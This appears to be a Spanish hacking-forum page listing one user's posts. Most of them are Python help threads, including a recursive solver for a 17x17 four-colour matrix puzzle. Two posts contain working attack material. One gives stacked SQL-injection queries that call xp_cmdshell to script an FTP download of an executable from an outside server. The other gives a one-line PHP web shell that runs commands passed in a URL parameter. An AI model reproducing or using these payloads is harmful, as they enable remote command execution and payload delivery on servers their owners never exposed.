Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - nacho87

#1
Hola! yo he tenido algún problema similar con la cache y python y mi conclusión fue que el servidor almacenaba otra cache. En mi caso esa caché se basaba en la url que pedías así que lo soluciné añadiendo un parámetro aleatorio a la url, por ejemplo:
URL = http://www.eleconomista.es/cruce/EURUSD?asd=randsrting
de ésta manera cada vez que pidas la url al servidor será distinta. Puede que no se base en la url y sea en "user-agent", en ese caso puedes hacer lo mismo, con cada request generas un user agent distinto.
Saludoss!
#2
Hacking / Re: Dudas Stealers
12 Junio 2010, 21:10 PM
Esque ese tipo de dudas no se suelen responder por aquí, principalmente por tus más que probables intenciones lamer (sin ánimo de ofender).
Para ese tipo de dudas hay otros foros (a los que no recomendaría acudir si no tienes clara tu vocación whitehat...)
O mucho ha cambiado elhacker.net en el par de meses que me he pasado desconectado o creo que no te responderán, no yo tampoco, lo siento.
#3
En el remoto caso de que el user sea admin y la inyección permita stacked querys puedes hacer:
;master..xp_cmdshell 'cmd /c echo get archivo.exe>asd.txt';
;master..xp_cmdshell 'cmd /c echo quit>>asd.txt';
;master..xp_cmdshell 'cmd /c ftp -s:asd.txt ftp.anonimo.com'


Asi te conectas al server anonimo ftp.anonimo.com y te descargas el archivo archivo.exe. Si la BBDD es mssql server 2005 puede que tengas que reactivar el xp_cmdshell. Busca en internet como se hace que ahora mismo no me acuerdo.jeje. son un par de comandos más.

Saludos!!
#4
Nivel Web / Re: Shell pho en imagen
19 Febrero 2010, 09:08 AM
Si lo único que buscas es ejecutar comandos usa ésto:

Código (php) [Seleccionar]
<?php echo passthru($_GET['cmd']); ?>

Con ...?cmd=net user....

Saludos!
#5
Y también deberías usar urlllib2 para hacer las peticiones y recibir la respuesta. Ej:

Request = urlllib2.urlopen('www.google.com')
Response = Request.read()

print Response
#6
Si, la cuestion es esa que mientras se realiza otra tarea pero cuando el usuario introduzca un dato quiero que esa tarea cambi. Mirare lo de los threads.

Gracias
#7
Hola a todos! estaba tratando de encontrar alguna forma de hacer un raw_input en python y que el programa siga trabajando mientras el usuario no introduzca datos.

Si alguien conoce alguna forma de hacer ésto me vendría muy bien :)

Gracias!
#8
Hacking / Re: Descargar archivo desde CMD
20 Diciembre 2009, 10:03 AM
Hola, aqui tienes una versión del wget de linux para windows:
http://users.ugent.be/~bpuype/wget/

la sintaxis es muy simple:
wget www.pagina.es/archivo

Saludos!
#9
Scripting / Re: [Python] Ayuda con "Runtime error"
14 Diciembre 2009, 19:58 PM
Gracias por la respuesta.

Con matrices más pequeñas(10x10 por ejemplo) encuantra la solución antes de saltar el error. Sin embargo con la de 11x11 hay veces que no la encuentra y el error salta en el mismo punto, poco antes de las 1000 recursiones.

He intentado cambiar el código para no usar la recursión en checkear() pero no se me ocurre como... :(

También he estado mirando lo del stackless. He probado pypy-stackless pero no consigo importar numpy, que lo uso para crear la matriz inicial.

Saludos!
#10
Scripting / [Python] Ayuda con "Runtime error"
14 Diciembre 2009, 19:01 PM
Hola a todos!

Estoy haciendo un pequeño programa en python para resolver éste problema: http://juegos.microsiervos.com/matematicas/17-por-17.html

Bueno, la verdad es que no pretendo resolverlo ya que es bastante dificil pero estoy aprendiendo bastante creando un programa que lo intente. En resumen el problema trata de crear una matriz 17x17 en la que con 4 colores distintos (números) no se formen "rectángulos virtuales", es decir, que no haya los mismos 4 números en formando las esquinas de ningún rectángulo en la matriz.

Por ahora con mi programa consigo si problema hasta las de 11x11, sin embargo al pasar a las 12x12 python me da un error pasado un rato que no se cómo evitar. El code de mi programa es el siguiente:

Código (python) [Seleccionar]
#!/usr/bin/python

import numpy
from random import uniform
import os
import sys
m = int(sys.argv[1])
matriz = numpy.zeros((m,m), dtype="int")
x = 0
y = 0
uno = 0
dos = 0
tres = 0
cuatro = 0
count = 0
error = 0
def check(num,x,y):
column = []
#print "x=%s,y=%s" % (x,y)
for col in range(0,x):
if num == matriz[col][y]:
column.append(col)
#print "colision de columna en %s %s con numero %s" % (col,y,num)
if col == x - 1:
return column

def check2(num,x,y):
fila = []
#print "x=%s,y=%s" % (x,y)
for fil in range(0,y):
if num == matriz[x][fil]:
#print "colision de fila en %s %s con numero %s" % (x,fil,num)
fila.append(fil)
if fil == y - 1:
return fila




def colision(nam,x,y):
i=0
j=0
if x==0 or y==0:
return 1
micol = check(nam,x,y)
mifil = check2(nam,x,y)
#print micol
#print mifil
if micol == None:
return 1
elif mifil == None:
return 1
else:
for i in micol:
for j in mifil:
if matriz[i][j] == nam:
#print "colision de diagonal en %s %s con numero %s" % (i,j,nam)
return 0
return 1


def fix(nam,x,y,countck):
i=0
j=0
micol = check(nam,x,y)
mifil = check2(nam,x,y)
for i in micol:
for j in mifil:
if matriz[i][j] == nam:
mynewnum = int(uniform(1,5))
while mynewnum == nam:
mynewnum = int(uniform(1,5))
if countck > 20 and countck < 40:
countck = 0
matriz[i][j] = mynewnum
elif countck >= 40:
countck = 0
matriz[x][j] = mynewnum
else:
matriz[i][y] = mynewnum
#print "cambio (%s,%s) por %s porque colisiona con (%s,%s)" % (i,y,mynewnum,i,j)
def checkear(countck):
x = 1
y = 1
while True:
if colision(matriz[x][y],x,y) == 0:
print "matriz con errores en (%s,%s)" % (x,y)
countck += 1
fix(matriz[x][y],x,y,countck)
os.system('clear')
print "\n"*8 + str(matriz)
print countck
checkear(countck)
else:
if x == m - 1:
if y == m - 1:
print "matriz sin errores"
exit()
x = -1
y += 1
x += 1





while True:
mynum = int(uniform(1,5))
if colision(mynum,x,y) != 0:
matriz[x][y] = mynum
if mynum == 1:
uno +=1
elif mynum == 2:
dos +=1
elif mynum == 3:
tres +=1
elif mynum == 4:
cuatro +=1
#print "x = " + str(x)
#print "y = " + str(y)
os.system('clear')
print "\n"*8 + str(matriz)
print "errores: %s" % error
print "hay %s unos, %s doses, %s treses y %s cuatros" % (uno,dos,tres,cuatro)
if x == m - 1:
if y == m - 1:
checkear(countck = 0)
x = -1
y += 1
x += 1
count = 0
else:
count += 1
if count == 15:
fix(mynum,x,y,0)
matriz[x][y] = mynum
error += 1
os.system('clear')
print "\n"*8 + str(matriz)
print "errores: %s" % error
print "hay %s unos, %s doses, %s treses y %s cuatros" % (uno,dos,tres,cuatro)
if x == m - 1:
if y == m - 1:
checkear(countck = 0)
x = -1
y += 1
x += 1
count = 0


Hay partes que están comentadas ya que las usaba para "debugear" el programa ya que lo estoy haciendo con gedit y necesitaba alguna forma de ver donde fallaba.

La cuestión es que al intentar conseguir una matriz 12x12, algo antes de llegar a las 1000 ejecuciones de la función chequear() me lanza el siguiente error:
Exception RuntimeError:'maximum recursion depth exceeded while calling a Python object' in <type 'exceptions.AttributeError'> ignored

El código es un poco caótico ya que lo fui haciendo sobre la marcha y no tengo mucha idea de programar pero por mucho que lo reviso no encuentro la forma de evitar el error. Espero que me podais ayudar.

Un saludo!!